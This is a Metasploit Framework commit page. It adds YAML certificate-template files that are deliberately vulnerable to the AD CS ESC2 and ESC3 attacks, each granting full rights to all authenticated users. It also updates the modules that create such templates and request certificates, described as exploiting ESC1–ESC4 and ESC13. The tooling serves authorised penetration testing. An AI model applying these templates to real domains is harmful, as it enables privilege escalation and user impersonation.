Skip to content

Commit

Permalink
Land #18906, Add template data files for ESC2 and ESC3
Browse files Browse the repository at this point in the history
Merge branch 'land-18906' into upstream-master
  • Loading branch information
bwatters-r7 committed Mar 29, 2024
2 parents 876398d + 7bce403 commit 3dc6389
Show file tree
Hide file tree
Showing 8 changed files with 127 additions and 39 deletions.
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
---
# Creates a template that will be vulnerable to ESC 1 (subject name supplied in
# Creates a template that will be vulnerable to ESC1 (subject name supplied in
# the request). Fields are based on the SubCA template. For field descriptions,
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
showInAdvancedViewOnly: 'TRUE'
Expand Down
30 changes: 30 additions & 0 deletions data/auxiliary/admin/ldap/ad_cs_cert_template/esc2_template.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
---
# Creates a template that will be vulnerable to ESC2 (any purpose EKU).
# Fields are based on the SubCA template. For field descriptions,
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
showInAdvancedViewOnly: 'TRUE'
# this security descriptor grants all permissions to all authenticated users
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
flags: 0
pKIDefaultKeySpec: 2
pKIKeyUsage: !binary |-
hgA=
pKIMaxIssuingDepth: 0
pKICriticalExtensions:
- 2.5.29.19
- 2.5.29.15
pKIExtendedKeyUsage:
# Any Purpose OID
- 2.5.29.37.0
pKIExpirationPeriod: !binary |-
AEAepOhl+v8=
pKIOverlapPeriod: !binary |-
AICmCv/e//8=
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
msPKI-RA-Signature: 0
msPKI-Enrollment-Flag: 0
# CT_FLAG_EXPORTABLE_KEY
msPKI-Private-Key-Flag: 0x10
# CT_FLAG_SUBJECT_ALT_REQUIRE_UPN | CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
msPKI-Certificate-Name-Flag: 0x82000000
msPKI-Minimal-Key-Size: 2048
30 changes: 30 additions & 0 deletions data/auxiliary/admin/ldap/ad_cs_cert_template/esc3_template.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
---
# Creates a template that will be vulnerable to ESC3 (certificate request agent EKU).
# Fields are based on the SubCA template. For field descriptions,
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
showInAdvancedViewOnly: 'TRUE'
# this security descriptor grants all permissions to all authenticated users
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
flags: 0
pKIDefaultKeySpec: 2
pKIKeyUsage: !binary |-
hgA=
pKIMaxIssuingDepth: 0
pKICriticalExtensions:
- 2.5.29.19
- 2.5.29.15
pKIExtendedKeyUsage:
# Certificate Request Agent OID
- 1.3.6.1.4.1.311.20.2.1
pKIExpirationPeriod: !binary |-
AEAepOhl+v8=
pKIOverlapPeriod: !binary |-
AICmCv/e//8=
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
msPKI-RA-Signature: 0
msPKI-Enrollment-Flag: 0
# CT_FLAG_EXPORTABLE_KEY
msPKI-Private-Key-Flag: 0x10
# CT_FLAG_SUBJECT_ALT_REQUIRE_UPN | CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
msPKI-Certificate-Name-Flag: 0x82000000
msPKI-Minimal-Key-Size: 2048
2 changes: 2 additions & 0 deletions documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,8 @@ Request certificates via MS-ICPR (Active Directory Certificate Services). Depend
template's configuration the resulting certificate can be used for various operations such as authentication.
PFX certificate files that are saved are encrypted with a blank password.

This module is capable of exploiting ESC1, ESC2, ESC3 and ESC13.

## Module usage

1. From msfconsole
Expand Down
Original file line number Diff line number Diff line change
@@ -1,9 +1,13 @@
## RBCD Exploitation
## AD CS Certificate Template Exploitation

This module can read, write, update, and delete AD CS certificate templates from a Active Directory Domain Controller.

The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be restored using
the CREATE or UPDATE actions.
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be
restored using the CREATE or UPDATE actions. The CREATE and UPDATE actions require a certificate template data
file to be specified to define the attributes. Template data files are provided to create a template that is
vulnerable to ESC1, ESC2, and ESC3.

This module is capable of exploiting ESC4.

In order for the `auxiliary/admin/ldap/ad_cs_cert_template` module to succeed, the authenticated user must have the
necessary permissions to perform the specified action on the target object (the certificate specified in
Expand Down
2 changes: 2 additions & 0 deletions modules/auxiliary/admin/dcerpc/icpr_cert.rb
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,8 @@ def initialize(info = {})
Request certificates via MS-ICPR (Active Directory Certificate Services). Depending on the certificate
template's configuration the resulting certificate can be used for various operations such as authentication.
PFX certificate files that are saved are encrypted with a blank password.
This module is capable of exploiting ESC1, ESC2, ESC3 and ESC13.
},
'License' => MSF_LICENSE,
'Author' => [
Expand Down
87 changes: 53 additions & 34 deletions modules/auxiliary/admin/ldap/ad_cs_cert_template.rb
Original file line number Diff line number Diff line change
Expand Up @@ -42,11 +42,15 @@ def initialize(info = {})
info,
'Name' => 'AD CS Certificate Template Management',
'Description' => %q{
This module can read, write, update, and delete AD CS certificate templates from a Active Directory Domain
This module can create, read, update, and delete AD CS certificate templates from a Active Directory Domain
Controller.
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be
restored using the CREATE or UPDATE actions.
restored using the CREATE or UPDATE actions. The CREATE and UPDATE actions require a certificate template data
file to be specified to define the attributes. Template data files are provided to create a template that is
vulnerable to ESC1, ESC2, and ESC3.
This module is capable of exploiting ESC4.
},
'Author' => [
'Will Schroeder', # original idea/research
Expand All @@ -69,7 +73,8 @@ def initialize(info = {})
'Notes' => {
'Stability' => [],
'SideEffects' => [CONFIG_CHANGES],
'Reliability' => []
'Reliability' => [],
'AKA' => [ 'Certifry', 'Certipy' ]
}
)
)
Expand Down Expand Up @@ -327,16 +332,16 @@ def action_read

print_status('Certificate Template:')
print_status(" distinguishedName: #{obj['distinguishedname'].first}")
print_status(" displayName: #{obj['displayname'].first}") if obj['displayname'].first.present?
print_status(" displayName: #{obj['displayname'].first}") if obj['displayname'].present?
if obj['objectguid'].first.present?
object_guid = Rex::Proto::MsDtyp::MsDtypGuid.read(obj['objectguid'].first)
print_status(" objectGUID: #{object_guid}")
end

mspki_flag = obj['mspki-certificate-name-flag'].first
if mspki_flag.present?
mspki_flag = [obj['mspki-certificate-name-flag'].first.to_i].pack('l').unpack1('L')
print_status(" msPKI-Certificate-Name-Flag: 0x#{mspki_flag.to_s(16).rjust(8, '0')}")
pki_flag = obj['mspki-certificate-name-flag']&.first
if pki_flag.present?
pki_flag = [obj['mspki-certificate-name-flag'].first.to_i].pack('l').unpack1('L')
print_status(" msPKI-Certificate-Name-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
%w[
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME
Expand All @@ -352,16 +357,16 @@ def action_read
CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME
].each do |flag_name|
if mspki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
print_status(" * #{flag_name}")
end
end
end

mspki_flag = obj['mspki-enrollment-flag'].first
if mspki_flag.present?
mspki_flag = [obj['mspki-enrollment-flag'].first.to_i].pack('l').unpack1('L')
print_status(" msPKI-Enrollment-Flag: 0x#{mspki_flag.to_s(16).rjust(8, '0')}")
pki_flag = obj['mspki-enrollment-flag']&.first
if pki_flag.present?
pki_flag = [obj['mspki-enrollment-flag'].first.to_i].pack('l').unpack1('L')
print_status(" msPKI-Enrollment-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
%w[
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS
CT_FLAG_PEND_ALL_REQUESTS
Expand All @@ -381,16 +386,16 @@ def action_read
CT_FLAG_ISSUANCE_POLICIES_FROM_REQUEST
CT_FLAG_SKIP_AUTO_RENEWAL
].each do |flag_name|
if mspki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
print_status(" * #{flag_name}")
end
end
end

mspki_flag = obj['mspki-private-key-flag'].first
if mspki_flag.present?
mspki_flag = [obj['mspki-private-key-flag'].first.to_i].pack('l').unpack1('L')
print_status(" msPKI-Private-Key-Flag: 0x#{mspki_flag.to_s(16).rjust(8, '0')}")
pki_flag = obj['mspki-private-key-flag']&.first
if pki_flag.present?
pki_flag = [obj['mspki-private-key-flag'].first.to_i].pack('l').unpack1('L')
print_status(" msPKI-Private-Key-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
%w[
CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL
CT_FLAG_EXPORTABLE_KEY
Expand All @@ -407,27 +412,16 @@ def action_read
CT_FLAG_EK_VALIDATE_KEY
CT_FLAG_HELLO_LOGON_KEY
].each do |flag_name|
if mspki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
print_status(" * #{flag_name}")
end
end
end

mspki_flag = obj['mspki-ra-signature'].first
if mspki_flag.present?
mspki_flag = [obj['mspki-ra-signature'].first.to_i].pack('l').unpack1('L')
print_status(" msPKI-RA-Signature: 0x#{mspki_flag.to_s(16).rjust(8, '0')}")
end

if obj['pkiextendedkeyusage'].present?
print_status(' pKIExtendedKeyUsage:')
obj['pkiextendedkeyusage'].each do |value|
if (oid = Rex::Proto::CryptoAsn1::OIDs.value(value)) && oid.label.present?
print_status(" * #{value} (#{oid.label})")
else
print_status(" * #{value}")
end
end
pki_flag = obj['mspki-ra-signature']&.first
if pki_flag.present?
pki_flag = [pki_flag.to_i].pack('l').unpack1('L')
print_status(" msPKI-RA-Signature: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
end

if obj['mspki-certificate-policy'].present?
Expand All @@ -448,6 +442,31 @@ def action_read
end
end
end

if obj['mspki-template-schema-version'].present?
print_status(" msPKI-Template-Schema-Version: #{obj['mspki-template-schema-version'].first.to_i}")
end

pki_flag = obj['pkikeyusage']&.first
if pki_flag.present?
pki_flag = [pki_flag.to_i].pack('l').unpack1('L')
print_status(" pKIKeyUsage: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
end

if obj['pkiextendedkeyusage'].present?
print_status(' pKIExtendedKeyUsage:')
obj['pkiextendedkeyusage'].each do |value|
if (oid = Rex::Proto::CryptoAsn1::OIDs.value(value)) && oid.label.present?
print_status(" * #{value} (#{oid.label})")
else
print_status(" * #{value}")
end
end
end

if obj['pkimaxissuingdepth'].present?
print_status(" pKIMaxIssuingDepth: #{obj['pkimaxissuingdepth'].first.to_i}")
end
end

def action_update
Expand Down
3 changes: 2 additions & 1 deletion modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb
Original file line number Diff line number Diff line change
Expand Up @@ -44,7 +44,8 @@ def initialize(info = {})
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
'Reliability' => [],
'AKA' => [ 'Certifry', 'Certipy' ]
}
)
)
Expand Down

0 comments on commit 3dc6389

Please sign in to comment.